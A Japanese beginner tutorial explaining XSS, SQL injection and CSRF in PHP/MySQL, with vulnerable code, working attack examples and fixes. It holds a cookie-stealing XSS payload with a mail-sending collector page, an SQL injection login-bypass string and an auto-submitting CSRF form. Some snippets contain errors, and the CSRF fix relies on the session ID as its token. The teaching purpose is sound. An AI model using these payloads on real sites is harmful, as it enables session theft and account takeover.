概要
WEBアプリケーションのセキュリティで特に大事な、XSS、SQLインジェクション、CSRFについて具体例とその対策を概説する。
対象
PHPとMySQLの基本(とJacaScriptをほんの少し)は知っているけど、セキュリティについてはあまり知識が無い方。
目次
- 1 XSS(クロスサイト・スクリプティング)
- 2 SQLインジェクション
- 3 CSRF(クロスサイト・リクエストフォージェリ)
1. XSS(クロスサイト・スクリプティング)
具体例: クッキー値が盗み出される
原理
以下のphpスクリプトは、ログイン中のユーザーが入力したキーワードをブラウザに出力するというもの。
<?php
session_start();
// ログインチェック(詳細略)
?>
<body>
<?php
// 悪い例
echo $_GET['keyword'];
?>
</body>
ここで、キーワードに以下のようなJavaScriptを埋め込むと、
<script>alert(document.cookie)</script>
クッキーにセットされたセッションIDがアラート表示される。
実際の手口
実際には、こうした脆弱なサイトの利用者を、罠サイトに誘導する。
<body>
<iframe width=400 height=200 src="http://localhost/security/keyword.php?keyword=<script>window.location='http://localhost/security/attach/xss/mail.php?sid='%2Bdocument.cookie;</script>">
</iframe>
</body>
該当部分だけを取り出したのが以下。
src="http://localhost/security/keyword.php?
keyword=
<script>window.location='http://localhost/security/attach/xss/mail.php?sid='%2Bdocument.cookie;</script>"
この部分では、
- 攻撃対象のurl("keyword.php")を指定して
- keywordに情報を送信するためのurl("mail.php")を指定して
- パラメタ部分に先に説明した攻撃(document.cookie)を仕込んでおく
ことにより、以下の情報収集サイトに飛び、
<?php
mb_language('Japanese');
$sid = $_GET['sid'];
mb_send_mail('test@gmail.com', '攻撃成功', 'セッションID:', . $sid, 'From: test@trap.exmaple.com');
?>
<body>
<p>攻撃成功。</p>
<?php echo $sid; ?>
</body>
攻撃者のメールアドレス、
test@gmail.com
に、セッションIDが送られてしまう。
XSSの攻撃方法まとめ
- 罠サイトのinframe内で、脆弱なサイトが表示される
- 脆弱なサイトはXSS攻撃により、クッキー値をクエリ一文字につけて、情報収集ページに遷移する
- 情報収集ページは受け取ったクッキー値をメールで攻撃者に送信する
対策: エスケープ処理
エスケープ処理を行う。PHPの場合、htmlspecialcharsという関数があるので、これを用いる。
具体的には、
<?php
echo $_GET['keyword'];
?>
この部分を、
<?php
// htmlspecialchar関数でエスケープ処理
$keyword = htmlspecialchars($_GET('keyword'), ENT_QUOTES, "UTF-8");
// $keywordを表示
echo $keyword;
?>
とする。
htmlspecialchars関数は「<」や「&」などの文字列を変換し、JacaScriptと認識されないようにする(エスケープ処理)。
余談
クロスサイトスクリプティングをCSSと書かないのは、スタイルシートのCSSと紛らわしいから。
2. SQLインジェクション
具体例: 認証を回避される
SQLインジェクションとは、SQLの呼び出し方に不備がある場合に発生する脆弱性である。
以下のphpスクリプトでは、正しいユーザーIDとパスワードを入力すると「ログイン成功」と表示される。
<?php
// sessions/new.phpから受け取る
$email = $_POST['email'];
$password = $_POST['password'];
//データベースに接続
try {
$dbh = new
PDO('mysql:host=127.0.0.1;dbname=security','your_db_user_name','your_db_password');
} catch (PDOException $e) {
var_dump($e->getMessage());
exit;
}
// 当該emailとpasswordのレコードを取得し変数$recに格納
// 悪い例
$stmt = $dbh->prepare("select * from users where email = '$email' and password = '$password'");
$stmt->execute();
$rec = $stmt->fetch(PDO::FETCH_ASSOC);
// データベースとの接続を終了
$dbh = null;
// レコードを取得できた場合には、"ログイン成功"と表示される
if($rec != false) {
$_SESSION['user_id'] = $rec['id'];
echo "ログイン成功";
} else {
echo "ログイン失敗";
}
?>
ここで問題となるのは以下のSQL文で、
select * from users where email = '$email' and password = '$password'
フォームのpasswordのところに、
' or 'a' = 'a
を入力すると(emailは'hoge@test.com'として)、
SELECT * FROM users WHERE email = 'hoge@test.com' and password = '' or 'a' = 'a'
となり、where句以下が常に真となってしまい、正しいパスワードを知らなくてもログイン出来てしまう。
対策: プレースホルダを使う
以下のように、変数を受け取る部分を「?」や「:password」(これをプレースホルダという)として、
SELECT * FROM users WHERE email = ? and password = ?
この部分に、以下のようにパラメータを渡す形式にする。
<?php
// 良い例 => プレースホルダを利用(名前付きプレースホルダの例)
$stmt = $dbh->prepare("select * from users where email = :email and password = :password");
$stmt->bindParam(":email",$email);
$stmt->bindParam(":password",$password);
// 実行
$stmt->execute();
$rec = $stmt->fetch(PDO::FETCH_ASSOC);
?>
これで先のようなリクエストが来ても、危険なSQL文が生成されることはない。
3. CSRF(クロスサイト・リクエストフォージェリ)
具体例: パスワードが変更されてしまう
以下のスクリプトは、ログイン中のユーザーが自分のパスワードを変更できる。
<?php
session_start();
// ログイン処理(省略)
?>
<body>
<form action="update.php" method=POST >
新パスワード
<input name="new_password" type="password">
<input type="submit" value="パスワード変更">
</body>
新しいパスワードを入力すると、以下のファイルに飛び、
<?php
session_start();
// ログイン確認(省略)
$user_id = $_SESSION['user_id'];
$new_password = $_POST['new_password'];
// パスワード処理 ユーザー$idのパスワードを$pwdに変更する(省略)
echo "パスワードを変更しました。再度ログインしてください。";
?>
パスワードが変更されるものとする。
ここで、あるユーザーがパスワードを変更するための必要条件とは、
- POSTメソッドでhoge.phpがリクエストされること
- ログイン状態であること
- POSTパラメータpwdとしてパスワードが指定されること
の3つ。そこで、以下の攻撃用サイトのphpスクリプトを見ると、
<body onload="document.forms[0].submit()">
<form action="http://localhost/security/registrations/update.php" method="POST">
<input type="hidden" name="new_password" value="your_password_is_changed">
</form>
ログイン中のユーザーであれば、指定先のurlでアクションが行われ、そしてhiddenフォームで"your_password_is_changed"というパスワードが指定されているので、上記の条件を満たす。
つまりこの場合、攻撃用サイトにアクセスしただけで勝手に"your_password_is_changed"というパスワードに変更されてしまう。
対策: 秘密情報(トークン)の埋め込み
まず以下のように、
<?php
session_start();
// ログイン処理
?>
<body>
<form action="update.php" method=POST >
新パスワード
<input name="new_password" type="password">
<input type="hidden" name="token" value="<?php echo session_id(); ?>" >
<input type="submit" value="パスワード変更">
</body>
hiddenフォームでtokenを埋め込んでおき、これをlocate先のスクリプトで、
<?php
// tokenの確認
if (session_id() !== $_POST['token']) {
die('正規の画面からご使用ください');
}
?>
認証に失敗したら、「正規の画面からご使用ください。」と表示させる。
発展
解説した内容は、Railsを使っていると基本的に全て回避してくれる。
しかしそのような機能を「知らないうちに消していた」なんてことが無いよう、Railsがどのように回避しているのかは理解しておくと吉。